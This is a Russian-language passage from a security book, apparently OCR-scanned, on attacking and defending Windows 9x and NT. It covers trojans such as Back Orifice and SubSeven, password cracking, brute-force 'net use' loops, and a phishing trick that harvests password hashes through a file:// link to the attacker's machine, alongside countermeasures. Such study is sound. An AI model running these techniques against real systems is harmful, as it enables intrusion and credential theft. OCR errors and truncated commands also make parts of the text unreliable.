Повторное использование данных . аутентификации Win 9x 5 января 1999 года группа исследования вопросов безопасности, известная под названием LOpht, обнародовала документ, содержащий информацию о выявленном ею изъяне в процедуре сетевой аутентификации, выполняемой при предоставлении доступа к совместно используемым файловым ресурсам. Тестируя очередную версию своего печально известного средства LOphtcrack. предназначенного для взлома и скрытного хищения паролей (см. главу 5). было установлено, что система Win 9x, на которой установлен режим совместного использования файлов и принтеров, каждые 15 минут обращается к удаленному компьютеру за подтверждением соединения. Поскольку система Windows в этом запросе использует комбинацию хэш-кода пароля и имени удаленного пользователя, а также учитывая, что имя пользователя передается в виде незакодированного текста, взломщик может просто переслать перехваченный им запрос на аутентификацию и успешно подключиться к совместно используемому ресурсу системы Win 9x. Если все это произойдет в течение 15 минут, хэшировпнный пароль будет идентичным. Хакинг сервера удаленного доступа Win 9x Показанный на рис. 4.4 компонент Windows Dial-Up Server, входящий в состав Win 9x, — это еще одна "приятная неожиданность" для системного администратора. Любой пользователь, установив пакет Microsoft Plus! for Windows 95 и подключив модем, может создать брешь в системе защиты корпоративной сети (пакет Microsoft Plus! входит в стандартный комплект поставки Win 98).
Контрмеры: защита от хакинга через удаленные соединения Совсем не удивительно, что рекомендации остаются прежними. Во-первых, сами не используйте сервер удаленного доступа Win 9х а во-вторых, с помощью редактора системной политики запретите его устанавливать и пользователям. Если же удаленный доступ все-таки очень необходим, обязательно устанавливайте пароль для входящих подключений и обеспечьте его шифрование. (Такой режим можно установить в диалоговом окне Server Туре, которое открывается после щелчка на одноименной кнопке диалогового окна свойств Dial-Up Server). Можно также перейти к аутентификации на уровне пользователя, т.е. выполнять аутентификацию с помощью сервера безопасности, такого как контроллер домена Windows NT или сервер NetWare. Установите пароль для доступа к каждому совместно используемому ресурсу (причем чем сложнее пароль, тем лучше), а также сделайте эти ресурсы скрытыми, добавив к их именам символ $. Удаленный хакинг системного реестра Win 9x В отличие от Windows NT, система Win 9x не содержит встроенных средств поддержки удаленного доступа к системному реестру. Однако если установлен компонент Remote Registry Service (RRS), который можно найти на установочном компакт-диске Windows 9х в каталоге \admin\nettools\remotreg. то это становится вполне возможным. Для работы службы RRS необходимо переключиться в режим защиты на уровне пользователей. Следовательно, для получения доступа потребуется вести правильное имя пользователя. Если взломщику повезет и ему попадется система с установленным компонентом RRS и совместно используемым каталогом, доступным для записи, а также если ему удастся узнать какое-нибудь имя пользователя и подобрать соответствующий пароль, то в результате он сможет сделать с такой системой все, что только пожелает. Легко ли отвести от себя такую угрозу? Нам кажется, что да. Более того, чтобы ее создать, надо немало потрудиться. Если вы хотите установить службу RRS, обязательно выберите хороший пароль, и этого будет достаточно. В противном случае не устанавливайте этот компонент вообще и спите спокойно, зная, что все попытки получить доступ к реестру закончатся ничем. |
"Потайные ходы" и программы типа "троянский конь" в Win 9x Если предположить, что в вашей системе Win Эх не используется совместный доступ к файлам, не установлен сервер удаленного доступа и отсутствует поддержка удаленного доступа к системному реестру, то можно ли считать ваш компьютер защищенным? По-видимому, в настоящий момент на этот риторический вопрос можно дать отрицательный ответ. Если злоумышленникам не хватает средств удаленного администрирования, они просто пытаются их установить. Back Orifice Программа Back Orifice (ВО), фактически являясь одной из самых известных программ хакинга Win 9x, анонсирована разработчиками как средство удаленного администрирования системы Win 9x. Эта программа была выпущена летом 1998 года в соответствии с соглашениями по безопасности Black Hat (http: //www.blackhat.com/), и ее по-прежнему можно свободно получить по адресу (http: //www.cultdeadcow.com/tools). Back Orifice позволяет получить практически полный удаленный контроль над системой Win 9x, включая возможность добавления и удаления ключей системного реестра, перезагрузки системы, отправки и получения файлов, просмотра кэшированных паролей, порождения процессов и создания совместно используемых файловых ресурсов. Кроме того, другими хакерами для исходного сервера ВО были написаны подключаемые модули, предназначенные для установления связи с определенными каналами IRC (Internet Relay Chat), такими, например, как #BO_OWNED, и последующего разглашения IP-адреса жертвы всем, кто интересуется подобными вещами.
У клиента ВО2К имеется одна особенность, которая плохо документирована. Она заключается в том, что иногда в поле Server Address необходимо указывать номер порта (например, 192.168.2.78:54321, а не просто IP-адрес или имя DNS).
NetBus Более требовательному хакеру, возможно, больше понравится "дальняя кузина" ВО — программа NetBus, позволяющая получить удаленное управление над системой Windows (в том числе и Windows NT/2000). Эта программа, написанная Карлом-Фредериком Нейктером (Carl-Fredrik Neikter), имеет более привлекательный и понятный интерфейс, а также более эффективный набор функций. В частности, она оснащена графическим интерфейсом, с помощью которого можно осуществлять удаленное управление (правда, только для высокопроизводительных соединений). Программа NetBus тоже позволяет гибко настраивать параметры. Кроме того, в Internet можно найти несколько ее модификаций. Сервер, запускаемый по умолчанию, имеет имя patch.exe (хотя его можно заменить на любое другое). Обычно при установке в ключ системного реестра HKEY_LOCAL_MACHINEXSoftware\ Microsoft\Windows\CurrentVersion\Run добавляется соответствующий параметр, чтобы сервер запускался каждый раз при загрузке компьютера. SubSeven Судя по всему, сервер SubSeven по популярности превосходит программы ВО, ВО2К и NetBus вместе взятые. Он определенно более стабильный, простой в использовании и предоставляет гораздо более широкие возможности хакерам. Эту программу МОЖНО найти ПО адресу http://subseveri.slak.org/main.html.
Сервер предоставляет также возможность использования канала IRC, что позволяет взломщику задать IRC-сервер и канал, к которому нужно подключиться. После этого сервер S7S передает данные о своем местоположении (IP-адрес, связанный с ним порт и пароль). Кроме того, S7S может функционировать в качестве стандартного IRC-сервера, передавать через канал команды, уведомлять взломщика об успешном поиске ценной информации через службу ICQ, почтовые службы, а также выполнять множество других действий.
Контрмеры: ликвидация "потайных ходов" и удаление "троянских коней" Все приложения-серверы, создающие "потайные ходы", должны выполняться на целевом компьютере. Их нельзя запустить удаленно (конечно, если ранее удаленная система не стала "собственностью" хакера). Обычно это можно осуществить, воспользовавшись распространенными ошибками клиентов Internet и/или элементарным обманом. Возможно, взломщики применят оба подхода. Эти методы, а также возможные контрмеры, более подробно рассматриваются в главе 16. Здесь же стоит сказать лишь следующее: постоянно выполняйте обновление используемого клиентского программного обеспечения, предназначенного для работы в Internet, и тщательно осуществляйте его настройку. |
Известные изъяны серверных приложений ВО — это не единственный пример программы, которая делает узел уязвимым перед вторжением извне. Существует немало как некоммерческих, так и коммерческих программ, которые, пусть и непреднамеренно, но все же фактически делают то же самое. Пожалуй, невозможно перечислить все программы для Win 9x, угрожающие в той или иной степени безопасности, однако имеется одно универсачьное средство: не запускайте серверные приложения под Win 9x, если вы не уверены в их безопасности. Одним из ярких примеров такой популярной, но обладающей очень большим потенциалом с точки зрения проникновения в систему, является Personal Web Server компании Microsoft. Его необновленные версии могут предоставлять содержимое файлов взломщикам, которые знают их расположение на диске и используют в запросах нестандартные URL (более подробную информацию об этом можно получить по адресу http://www.miсгosoft.com/security/bulletins/ms99-010.asp). |
Отказ в обслуживании DoS Вмешательство в работу, приводящее к отказу системы от обслуживания (Denial of Service) поступающих к ней запросов, — это последнее прибежище для извращенного ума. К сожалению, людей с таким типом мышления в Internet предостаточно. Имеется много программ, обладающих возможностью отправки сетевых пакетов с "патологической" структурой, предназначенных для аварийного завершения работы Win 9x Обычно такие программы имеют названия типа ping of death, teardrop, land, WinNuke и т.п. Подробнее об отказе в обслуживании мы будем говорить в главе 12, а сейчас лишь отметим, что для системы Win 9x существует одно универсальное средство защиты: модуль обновления Dial-Up Networking Update 1.3 (DUN 1.3). Контрмеры В состав DUN 1.3 входит обновленная библиотека Win 95 Windows Sockets (Winsock), в которой реализованы основные процедуры обработки многих потенциальных проблем TCP/IP, используемых при нападении с целью генерации условия DoS. Пользователям Win 98 не нужно устанавливать это обновление, за исключением, пожалуй, лишь жителей Северной Америки, которые хотят обновить используемые по умолчанию в Windows 98 средства шифрования с 40-битовыми ключами на их более надежную 128-битовую версию. Пакет обновления DUN 1.3 для Win 95 можно найти по адресу http://www.microsoft.com/windows95/downloads/. Программные брандмауэры И в заключение рассмотрения методов удаленного проникновения мы настоятельно рекомендуем приобрести какой-нибудь программный брандмауэр из числа имеющихся на современном рынке программного обеспечения. Эти программы будут выступать буфером между компьютером и сетью, что позволит заблокировать все попытки несанкционированных действий. Нам больше всего нравится пакет BlackICE Defender, который распространяется компанией Network ICE (http://www.networkice.com) по цене $39.95. К другим программным продуктам, популярность которых быстро возрастает, можно отнести ZoneAlarm (бесплатно распространяемый компанией Zone Labs для личного использования, http://www.zonelabs.com/) и бесплатно распространяемый пакет eSafe Desktop компании Aladdin (http://www.ealaddin.com/esafe/desktop/detailed.asp). Для того чтобы избежать головной боли в дальнейшем, приобретите такое средство и обеспечьте его функционирование в наиболее напряженном режиме. |
Непосредственное проникновение Как нам кажется, в предыдущем разделе мы довольно убедительно показали, что для того, чтобы сделать систему Win 9x доступной для удаленного проникновения, пользователю нужно так или иначе потрудиться. К сожалению, в том случае, когда злоумышленник имеет физический доступ к системе, картина меняется на противоположную: теперь пользователю нужно потрудиться, чтобы сделать систему по-настоящему недоступной. В большинстве случаев, располагая достаточным запасом времени и пользуясь отсутствием должного контроля, а также наличием свободного черного хода, злоумышленники рассматривают физический доступ как возможность простого хищения компьютера. Однако в данном разделе мы не будем рассматривать угрозы, связанные с массовыми хищениями самих компьютеров, а сосредоточимся на некоторых скрытых (а также явных) методах, позволяющих похитить критическую информацию, содержащуюся на компьютере с системой Win 9x Обход средств защиты Win 9x: перезагрузка! В отличие от Windows NT в системе Win 9x не используется концепция безопасного многопользовательского доступа к консоли. Таким образом, любому, кто имеет возможность приблизиться к системе с Win 9x на расстояние вытянутой руки, для получения доступа нужно просто включить компьютер либо выполнить "жесткую" перезагрузку (hard reboot), если он заблокирован с помощью экранной заставки (screen saver). Ранние версии Win 95 позволяли обходить заставку даже с помощью комбинаций клавиш <Ctrl+Alt+Del> или <Alt+Tab>! Все приглашения на ввод пароля, которые появляются при начальной загрузке, — не более чем косметические меры. Пароль Windows нужен лишь для активизации того или иного пользовательского профиля и не обеспечивает защиту каких-либо ресурсов (кроме самого списка паролей, о чем говорится ниже в этой главе). Для обхода приглашения на ввод пароля достаточно щелкнуть на кнопке Cancel, после чего продолжится нормальная загрузка системы. После ее завершения доступ к системным ресурсам будет практически полным. То же самое относится и ко всем диалоговым окнам сетевой регистрации (их вид может зависеть от того, к какому типу сети подключена система, но суть от этого не меняется). Контрмеры: защита консоли Одним из традиционных методов решения этой проблемы является установка пароля, хранящегося в BIOS. BIOS (Basic Input Output System) — это система низкоуровневых процедур, код которых хранится в специальной микросхеме, которая устанавливается на системной плате и обеспечивает начальную инициализацию оборудования совместимых с IBM PC компьютеров и загрузку операционной системы. Таким образом, система BIOS первой получает доступ к ресурсам, поэтому практически все разработчики BIOS предоставляют возможность защиты доступа к компьютеру с помощью пароля, что может остановить не очень искушенного злоумышленника. Профессионалы, конечно, могут просто извлечь из компьютера жесткий диск и подключить его к другому компьютеру без пароля BIOS или же воспользоваться одним из многочисленных средств взлома пароля BIOS, которые можно найти в Internet. Автозапуск и взлом пароля экранной заставки Перезапуск компьютера с помощью кнопки Reset системного блока или с помощью комбинации клавиш <Ctrl+Alt+Del> — это слишком примитивно для взломщика-эстета (или же слишком осторожного системного администратора, забывшего пароль экранной заставки). К удовольствию столь ранимых натур, существует более красивый способ обхода защиты системы Win 9x, в которой установлен пароль экранной заставки. Он базируется на двух недостатках системы безопасности Win 9x — режиме автоматического распознавания компакт-дисков и примитивном алгоритме шифрования пароля в системном реестре. С: \TEMP>95sscrk
Контрмеры: защита экранной заставки Win 9х Компания Microsoft разработала модуль обновления, который обеспечивает гораздо более высокий уровень зашиты пароля экранной заставки, под названием Windows NT/2000. Однако для упрямых приверженцев Win9x, которые могут согласиться лишь на отключение режима автоматического распознавания компакт-дисков, приведем выдержку из статьи Q126025 базы знаний Microsoft Knowledge Base. Обнаружение паролей Win 9x в памяти Если после обхода экранной заставки у злоумышленника еще остался некоторый запас времени, он может воспользоваться средствами обнаружения и получить другие системные пароли, которые в соответствующих строках диалоговых окон представляются символами "*". Такие средства скорее можно отнести к утилитам, которые могут помочь забывчивым пользователям, чем к инструментам взломщика, однако они настолько хороши, что нельзя их не упомянуть и в данной книге.
Взлом файлов . PWL Злоумышленнику вовсе не обязательно получить доступ к компьютеру на несколько часов —- он может за пару минут переписать нужные ему файлы на дискету, а затем расшифровать их в свободное время, как это обычно и делается при использовании "классических" утилит взлома паролей, таких как crack для UNIX или LOphtcrack для Windows NT.
До появления версии OSR2 в системе Windows 95 применялся очень простой алгоритм шифрования PWL-файлов, который можно было взломать с помощью широко распространенных средств без особых усилий. OSR2 (OEM System Release 2) — это промежуточная версия Windows 95, которая не продавалась в розничной сети, а устанавливалась производителями аппаратных средств (OEM — Original Equipment Manufacturer). В настоящее время при шифровании РWL-файлов используется более надежный алгоритм, однако он по-прежнему основывается лишь на данных учетной записи пользователя Windows. Это означает, что время, необходимое на подбор пароля, возросло, но сама задача взлома пароля осталась по-прежнему вполне выполнимой.
Еще одним хорошим средством для взлома РWL-файлов является CAIN от Break-Dance (http://www.confine.com). Эта утилита позволяет также получить из системного реестра пароль экранной заставки, выполнить инвентаризацию локальных совместно используемых ресурсов, кэшированных паролей и другой системной информации. Контрмеры: защита PWL-файлов Для тех администраторов, которых действительно беспокоит данная проблема. можно посоветовать воспользоваться редактором системной политики Win 9x и запретить кэширование паролей. Эту задачу можно решить и другим способом, создав (при необходимости) и установив следующий параметр системного реестра. PWL-файлы -- это далеко не единственная жертва программистов-взломщиков. Например, на Web-узле, расположенном по адресу http: //www. lostpasswcrc..com. содержится перечень утилит, предназначенных для взлома практически любых паролей, начиная от FST-файлов Microsoft Outlook и заканчивая файлами Microsoft Word. Excel и PowerPoint (так и хочется спросить: "Что вы хотите взломать сегодня?"). Имеется также несколько программ для взлома ZIP-файлов, в которых многие пользователи пересылают важную информацию, надеясь на защиту таких архивов с помощью пароля. Например, утилита Advanced Zip Password Recovery (AZPR) компании Elcomsoft позволяет выполнить взлом с помошью словаря или посредством перебора всех возможных вариантов. Кроме того, она является чрезвычайно быстрой Т >к, и >. приведенного ниже рисунка видно, что в процессе одного сеанса работы за одну секунду в среднем осуществлялась проверка.518783 паролей. |
Windows Millenium Edition (ME) Компания" Microsoft выпустила свою новую операционную систему Windows Millenium Edition (ME). Она является прямой наследницей Win 9.x и с этой точки зрения не содержит никаких серьезных изменений в области обеспечения безопасности по сравнению с более ранними версиями. Другими словами, если вы всерьез обеспокоены вопросами обеспечения безопасности, то лучше перейти к другой версии — Windows 2000. Win ME продолжает традиции своих предшественниц и предоставляет минимальные возможности защиты, чтобы повысить совместимость оборудования и простоту использования системы. С точки зрения обеспечения безопасности эта операционная система очень похожа на Win 9.x. Следовательно, нет никаких причин подробно рассматривать Win ME. |
Резюме Время идет вперед, и Win 9х становится все менее и менее интересной в качестве потенциальной жертвы. Взломщиков все больше интересуют более новые операционные системы, такие как Windows 2000. Для тех, кто остался приверженцем Win 9x, следует принять во внимание следующее.
|
Глава 5. УЯЗВИМОСТЬ WINDOWS NT
|
Уязвимость WINDOWS NT Согласно маркетинговым данным, операционная система компании Microsoft Windows NT занимает значительную долю рынка сетевых операционных систем как в государственном, так и в частном секторе экономики. При этом Windows NT стала "мальчиком для битья" в хакерской среде. Что послужило причиной, то ли ее широкая распространенность, то ли раздражение от маркетинговой политики Microsoft, то ли стойкая нелюбовь в профессиональной среде к ее простому в использовании графическому интерфейсу, который воспринимается как профанация самого понятия сетевой операционной системы, сказать трудно, однако факт остается фактом. Впервые о проблемах безопасности в NT заговорили в начале 1997 года после опубликования хакером Хоббитом (Hobbit) из группы Avian Research статьи о двух фундаментальных архитектурных решениях Windows NT — Common Internet File System (CIFS) и Server Message Block (SMB). (Co статьей можно ознакомиться по адресу http://www.insecure.org/stf/cifs.txt.) С тех пор работа над выискиванием методов проникновения в систему NT не прекращается ни на один день.
Итак, если все это правда, тогда почему мы не утверждаем, что NT безопасна на все 100%? На то есть две причины: поддержка старых программ (так называемая совместимость сверху вниз) и простота использования. Как мы покажем ниже в этой главе, приверженность к старым клиентским программам может сделать NT менее безопасной, чем она могла бы быть. Два основных примера — это обеспечиваемая в NT поддержка сетевых протоколов NetBIOS, CIFS и SMB, а также старый алгоритм шифрования пользовательских паролей, доставшийся NT в наследство от Lan Manager. Именно благодаря этим нюансам задача хакера по инвентаризации системной информации NT и расшифровке файлов с паролями является более легкой, чем она могла бы быть. |
Введение При изложении материала данной главы мы будем считать, что большая часть подготовительной работы для проникновения в систему NT уже проделана: цель выбрана (глава 2), а ее ресурсы инвентаризованы (глава 3). Как уже упоминалось в главе 2, если при сканировании оказалось, что порты 135 и 139 находятся в состоянии ожидания запросов, значит, данный узел, по-видимому, работает под управлением системы Windows NT (если обнаружен только порт 139, то это может быть и Windows 9x). Более полная информация о системе Windows NT может быть получена при сборе идентификационных маркеров. Как вы увидите в главе 6, наличие открытого порта 445 также является признаком системы Win 2000. После того как выбранная цель однозначно идентифицирована как компьютер под управлением Windows NT, начинается процесс инвентаризации ее ресурсов. В главе 3 подробно описаны средства, использующие анонимные соединения, посредством которых можно извлечь информацию о пользователях, группах и службах, работающих на целевом компьютере. При инвентаризации обычно выявляется столько информации, что зачастую бывает трудно провести грань между тем, где заканчивается инвентаризация и где начинается проникновение. Как правило, попытки взлома пароля следуют сразу же за выявленным именем пользовательской учетной записи. Анализируя данные, полученные с помощью методов инвентаризации, о которых мы говорили в главе 3, взломщик обычно всегда находит какие-то "зацепки" для выбора точки проникновения. |
На каком свете мы находимся Следуя классической модели проникновения, на которой построена эта книга, мы посвятили данную главу описанию оставшихся действий типичного хакера, пытающегося проникнуть в систему Windows NT: получение привилегий суперпользователя, расширение полномочий и сокрытие следов проникновения. Пожалуй, наиболее опасными методологиями проникновения в систему Windows, не рассмотренными в данной главе, являются приемы хакинга в Web. Средства защиты на уровне операционной системы зачастую оказываются бесполезными при предотвращении подобных атак на уровне приложений. Некоторые из наиболее разрушительных атак на систему NT за последние несколько лет базировались на использовании таких средств, как компонентов MDAC, и были направлены против встроенного в NT/2000 Web-сервера — Internet Information Server (US). Эти средства проникновения рассматриваются в главе 15. |
Windows 2000 Система NT находится не на самом верху иерархии операционных систем компании Microsoft. Выпушенная в начале 2000 года, система Windows 2000 является самой последней и мощной версией NT. |
Administrator: в поисках сокровищ Правило № 1, о котором нельзя никогда забывать при обеспечении безопасности Windows NT, состоит в том, что любой нарушитель абсолютно беспомощен, если он не обладает нравами администратора. Как мы увидим из дальнейшего обсуждения. NT не поддерживает (по умолчанию) удаленного выполнения команд, а если и позволяет это делать, то интерактивно зарегистрироваться могут лишь пользователи из группы администраторов. Это существенно сужает возможности удаленных пользователей по нанесению ущерба. Поэтому взломщики, как голодные акулы, рыщущие в океанской пучине в поисках жертвы, прилагают все усилия, чтобы выявить учетные записи пользователей, обладающих правами администратора. Именно поэтому мы начнем с рассмотрения деталей основного механизма получения привилегий администратора — подбора пароля. Удаленный подбор пароля Если на удаленном компьютере запушена служба NetBIOS, с которой связан TCP-порт 139, то самым эффективным методом проникновения в систему NT является удаленное подключение к выявленному ранее совместно используемому ресурсу и подбор пар регистрационное имя/пароль до тех пор, пока одна из них не окажется правильной. Подбор пароля можно также выполнить из командной строки с помощью команды net use. Если вместо пароля в качестве ее параметра указать символ *, то удаленный компьютер попросит ввести пароль, как показано в следующем примере. С:\> net use \\192.168.202.44\IPC$ * /user:Administrator Учетная запись, заданная с помощью ключа /и:, выглядит несколько странно. Напомним, что в NT/2000 учетные записи идентифицируются с использованием идентификаторов защиты SID, состоящих из кортежей компьютер\учетная запись или домен\учетная запись. Если зарегистрироваться в качестве администратора не удалось, попробуйте воспользоваться синтаксисом домен\учетная запись. Взломщики, как правило, пытаются подбирать пароли для ставших им известными локальных учетных записей отдельных компьютеров с NT Server или Workstation, а не для глобальных учетных записей, позволяющих получить доступ к контроллеру домена NT. В этом нет ничего удивительного, поскольку очень высока вероятность того, что локальные учетные записи контролируются не так строго, как на уровне всей организации (в этом случае все попытки подбора пароля могут также регистрироваться на контроллере домена). Кроме того, система NT Workstation позволяет любому пользователю регистрироваться в сети после регистрации на самом компьютере (т.е. пользователь Everyone может начать сеанс работы, не входя в сеть (Log on locally), а затем при необходимости подключиться к сети), что значительно упрощает удаленное выполнение команд. Если вы собираетесь использовать описываемые приемы для проверки компьютеров в сети вашей компании (конечно, с ведома начальства), не забывайте о блокировании учетных записей, которое может произойти при попытках как ручного, так и автоматизированного подбора паролей. В результате можно настроить против себя не только пользователей всей компании, которые не смогут в течение определенного времени получить доступ к своим компьютерам, но и руководство, которое вряд ли после такого инцидента будет поощрять ваши инициативы в области безопасности. Метод подбора наиболее эффективен для выявления паролей, заданных с ошибками, характерными для большинства пользователей. К таким ошибкам можно отнести следующие.
Некоторые примеры стандартных пар "имя пользователя/пароль" представлены в табл. 5.1. Мы называем такие пары наиболее вероятными комбинациями. Кроме того, достаточно большой список паролей, используемых по умолчанию, можно найти по адресу http://www.securityparadigm.соm/defaultpw.htm. Таблица 5.1. Наиболee вероятные комбинации "имя пользователя/пароль"
Хорошо продуманная стратегия подбора паролей, учитывающая все приведенные выше рекомендации, дает на удивление высокий процент успеха. Однако техника, которая хороша для хакера, подбирающего пароль ради развлечения, вряд ли заинтересует вечно занятого администратора сети, у которого и так хватает забот, чтобы заниматься ручным подбором паролей с целью контроля. [file: credentials.txt] Теперь этот файл можно подать на вход команде FOR следующим образом: C:\>FOR /F "tokens=l,2*" %i in(credentials.txt)do net use Эта команда построчно анализирует файл credentials. txt, выбирает первые две лексемы из каждой строки, а затем использует первую из них в качестве переменной «i (пароль), а вторую — как переменную %i (имя пользователя) при установке соединения с помощью команды net use с совместно используемым ресурсом IРС$ целевого компьютера. Для получения более подробной информации о команде FOR введите в командной проке FOR /?. Эта команда для хакеров NT является одной из наиболее полезных. D:\>FOR /L %i IN (1,1,254) DO nat -u Еще одним хорошим инструментом обнаружения паролей является утилита NTInfoScan (NT'S) Дэвида Литчфилда (David Litchfield), который известен также под псевдонимом Mnemonix. Эту утилиту можно найти по адресу http://packetstorm.stcurify.com/NT/audit/. NTIS — это простая утилита командной строки, которая выполняет проверку по протоколам Internet и NetBIOS, а результат выводит в файл HTML-формат. Она также осуществляет все необходимые операции по инвентаризации пользователи ;г в конце отчета помещает учетные записи с пустым паролем. В настоящее время утилита NTFS обновлена и распространяется новой компанией Дэвида, Cerberus Information Security. Теперь эта утилита называется Cerberus Internet Scanner (CIS) и снабжена графическим интерфейсом. D:\> smbgrind -I 100 -i 192.168.2.5
Контрмеры: защита от подбора пароля Существует несколько защитных мер, которые могут сделать невозможными или. по крайней мере, затруднить попытки подбора пароля. Первая из них поможет в тех случаях, когда компьютер с системой NT. непосредственно подключенный к Internet, не должен отвечать на запросы о совместно используемых ресурсах Windows. Для этого нужно заблокировать доступ к портам TCP и UDP с номерами 135-139 на пограничном брандмауэре или маршрутизаторе, а также запретить привязку WINS Client (TCP/IP) для любого адаптера, подключенного к внешней сети, как показано на приведенной ниже иллюстрации.
В системе Windows 2000 для запрещения использования протокола NetBIOS поверх TCP/IP для каждого адаптера в отдельности можно использовать спе.{и-:;ль ный пользовательский интерфейс. Однако, как вы увидите из главы 6, такая возможность вовсе не является панацеей, и отключение адаптеров от совместно используемых файлов и принтеров является гораздо лучшим способом. Если ваши компьютеры с системой NT выполняют роль файловых серверов и, как следствие, должны обеспечивать возможность подключения, данных мер, естественно, будет недостаточно, поскольку они будут блокировать или даже запрещать все подобные службы. В таких случаях необходимо применять более традиционные меры: блокировать учетные записи после определенного количества неудачных попыток регистрации, реализовать политику строгого выбора паролей, а также регистрировать все неудачные попытки регистрации. К счастью, для выполнения этих задач компания Microsoft предоставляет все необходимые средства. Политика учетных записей Одним из таких средств является утилита User Manager. Для задания политики учетных записей выберите в диалоговом окне диспетчера пользователей команду Policies>Account. В появившемся диалоговом окне можно задать определенную политику назначения паролей, например установить ограничение на минимальную длину пароля или потребовать, чтобы пароли не повторялись чаще определенного количества раз. Кроме того, в диалоговом окне Account Policy можно установить блокировку соответствующей учетной записи после заданного количества неудачных попыток регистрации. Диспетчер пользователей также позволяет администраторам принудительно отключать пользователей после завершения установленной длительности сеанса. Это очень удобная возможность, позволяющая "перекрыть кислород" непрошеным ночным гостям. Подчеркнем еще раз, что каждый, кто намеревается попробовать "на прочность" пароли как с помощью описанных в данной главе методов ручного, так и автоматического подбора, должен помнить о возможностях блокировки учетных записей. Passfilt Еще больший уровень защиты можно обеспечить с помощью динамически подключаемой библиотеки Passfilt, входящей в состав Service Pack 2. Для того чтобы она была подключена к системе защиты, необходимо проделать процедуру, описанную в статье Q161990 базы знаний Microsoft Knowledge Base. Данная библиотека позволяет поддерживать жесткую политику выбора паролей, которая гарантирует защиту не только от взлома, но и от ленивого пользователя, выбирающего слишком простой пароль. После установки библиотеки Passfilt все пароли должны состоять не менее чем из шести символов, не могут совпадать с именами учетных записей или быть частью полного имени пользователя, а также должны состоять из символов, которые выбираются как минимум из трех следующих групп.
Библиотека Passfilt должна быть под рукой у каждого серьезного администратора NT, однако нужно отметить два ее ограничения. Первое состоит в жесткой установке минимальной длины пароля в 6 символов. Мы рекомендуем наложить более строгое ограничение в 7 символов в диалоговом окне Account Policy диспетчера пользователей. (Почему так важна разница в один символ, вы узнаете ниже при рассмотрении процесса взлома пароля NT.) Во-вторых, библиотека Passfilt вызывается лишь в том случае, когда решение об изменении пароля принимает сам пользователь. Если же пароль меняется администратором с помощью диспетчера пользователей, то выполнение требований Passfilt не гарантируется (см. статью Q174075). Для того чтобы обеспечить более строгое следование принятой политике учетных записей, можно разработать свою собственную библиотеку Passfilt. Учтите, что при таком подходе в качестве библиотеки Passfilt можно легко "получить в подарок" "троянского коня". Так что при выборе библиотек от сторонних производителей будьте очень внимательны. Библиотека Passfilt в системе Win 2000 устанавливается по умолчанию, однако остается неактивной. Для того чтобы ее активизировать, воспользуйтесь консолью secpol.msc или gpedit.msc и активизируйте режим Passwords must meet complexity requirements, относящийся к элементу консоли Security Configuration and Analysis\Account Policies\Password Policy.
Passprop Еще одним важным дополнительным средством, которое входит в состав NT Resource Kit (NTRK) является утилита Passprop, которая позволяет применить к учетным записям домена NT два следующих требования.
Для того чтобы наложить на систему безопасности оба требования, необходимо установить пакет NTRK (или просто скопировать файл passprop.exe, если установка всего пакета NTRK связана с вопросами защиты) и ввести следующую команду в командной строке: passprop /complex /adminlockout Аудит и регистрация событий Даже если никому и не удастся проникнуть в вашу сеть с помощью подбора пароля, так как вы установили библиотеку Passfilt или воспользовались утилитой Passprop, все равно имеет смысл отслеживать все неудачные попытки регистрации. Для этого выберите команду Policies>Audit в диалоговом окне диспетчера пользователей. При этом на экране появится диалоговое окно Audit Policy, представленное ниже.
Если для управления журналами и их анализа вам требуется надежная утилита командной строки, позволяющая автоматизировать ее использование, обратите внимание на утилиту dumpel из пакета NTRK, NTLast компании NTObjectives (по адресу http://www.ntobjectives.com можно найти как бесплатно распространяемую, так и коммерческую версию) или DumpEvt от компании Somarsoft (бесплатную версию утилиты можно найти по адресу http://www.somarsoft.com). Выявление вторжений в реальном времени После применения средств анализа журналов следующим этапом является реализация механизма оповещения о возможных нарушениях в реальном времени. Количество программных продуктов из так называемой категории систем выявления вторжений быстро возрастает, особенно для использования на платформе NT. Системы выявления вторжений, предназначенные для использования на компьютерах под управлением системы NT, представлены в табл. 5.2. Таблица 5.2. Некоторые системы выявления вторжений для систем NT/2000
К сожалению, обсуждение вопросов, связанных с выявлением вторжений, выходит за рамки данной кн7иги. Можем лишь подчеркнуть, что администраторы сети, обеспокоенные вопросами обеспечения безопасности, должны уделять этой технологии самое пристальное внимание — что может быть важнее, чем вовремя поступивший сигнал о возникшей в сети проблеме? Более подробная информация о выявлении вторжений, в том числе и сравнительные характеристики лучших программных продуктов этой категории, в настоящее время содержится в статье http://www.infoworld.com/cgi-bin/displayTC.pl7980504comp.htm. Перехват паролей, передаваемых по сети Утилита l0phtcrack предназначена для подбора паролей NT, которая обычно используется для автономного взлома перехваченной базы данных паролей, т.е. без соединения с сервером. Такой подход позволяет, во-первых, не беспокоиться о возможной блокировке учетных записей при попытках подбора пароля, а во-вторых, организовать перебор сколь угодно большого количества вариантов. Получение файла паролей - довольно нетривиальная задача, поэтому этот вопрос, а также методы использования утилиты l0phtcrack более подробно будут рассмотрены в разделе "Взлом Паролей Nt".
"Отправьте выбранной жертве почтовое сообщение (неважно, на личный адрес или же на общий адрес компании). В текст письма включите адрес URL в форме file:////ваш_компьютер/имя_совместно_ используемого_ресурса/сообщение.html. Как только получатель щелкнет на этом URL, его хэшированный пароль сразу же будет отправлен вам для аутентификации." При знакомстве с технологиями, подобными протоколу ARP (см. главу 10), вы увидите, что коммутируемые сети на самом деле не обеспечивают надежную защиту против перехвата паролей. Мастаки из LOpht даже умудрились смастерить утилиту, которая выуживает хэши-рованные пароли NT из потока данных, которыми обмениваются компьютеры при регистрации с использованием протокола РРТР (Point-to-Point Tunneling Protocol). В системе NT адаптированный вариант РРТР используется для организации частных виртуальных сетей (VPN — Virtual Private Network). Эта технология позволяет организовывать туннелирование потока данных для передачи информации по Internet с гарантированной защитой. По адресу http://www.l0pht.com/10phtcrack/donwload.html можно найти два анализатора сетевых пакетов: одна программа предназначена для работы в системе Solaris 2.4+ (написана L0pht), а вторая (ее автор — модератор бюллетеня Bugtrag, хакер Aleph One (Алеф Ван)) — в любой сети UNIX, в которой имеется библиотека перехвата пакетов libpcap. Кроме того, на этой же Web-странице имеется версия программы readsmb для UNIX, написанная Йоше Чангом (Jose Chung) из компании Basement Research. Передача хэш-кода Пол Эштон (Paul Ashton) выдвинул идею модификации SMB-клиента сервера Samba системы UNIX, обеспечивающего совместный доступ к файлам (http://www.saniba.org) с целью реализации описанного выше приема. Исходный документ Пола можно найти в архивах бюллетеня NT Bugtraq по адресу http://www.ntbugtraq.com. Новые версии программы smbclient для системы 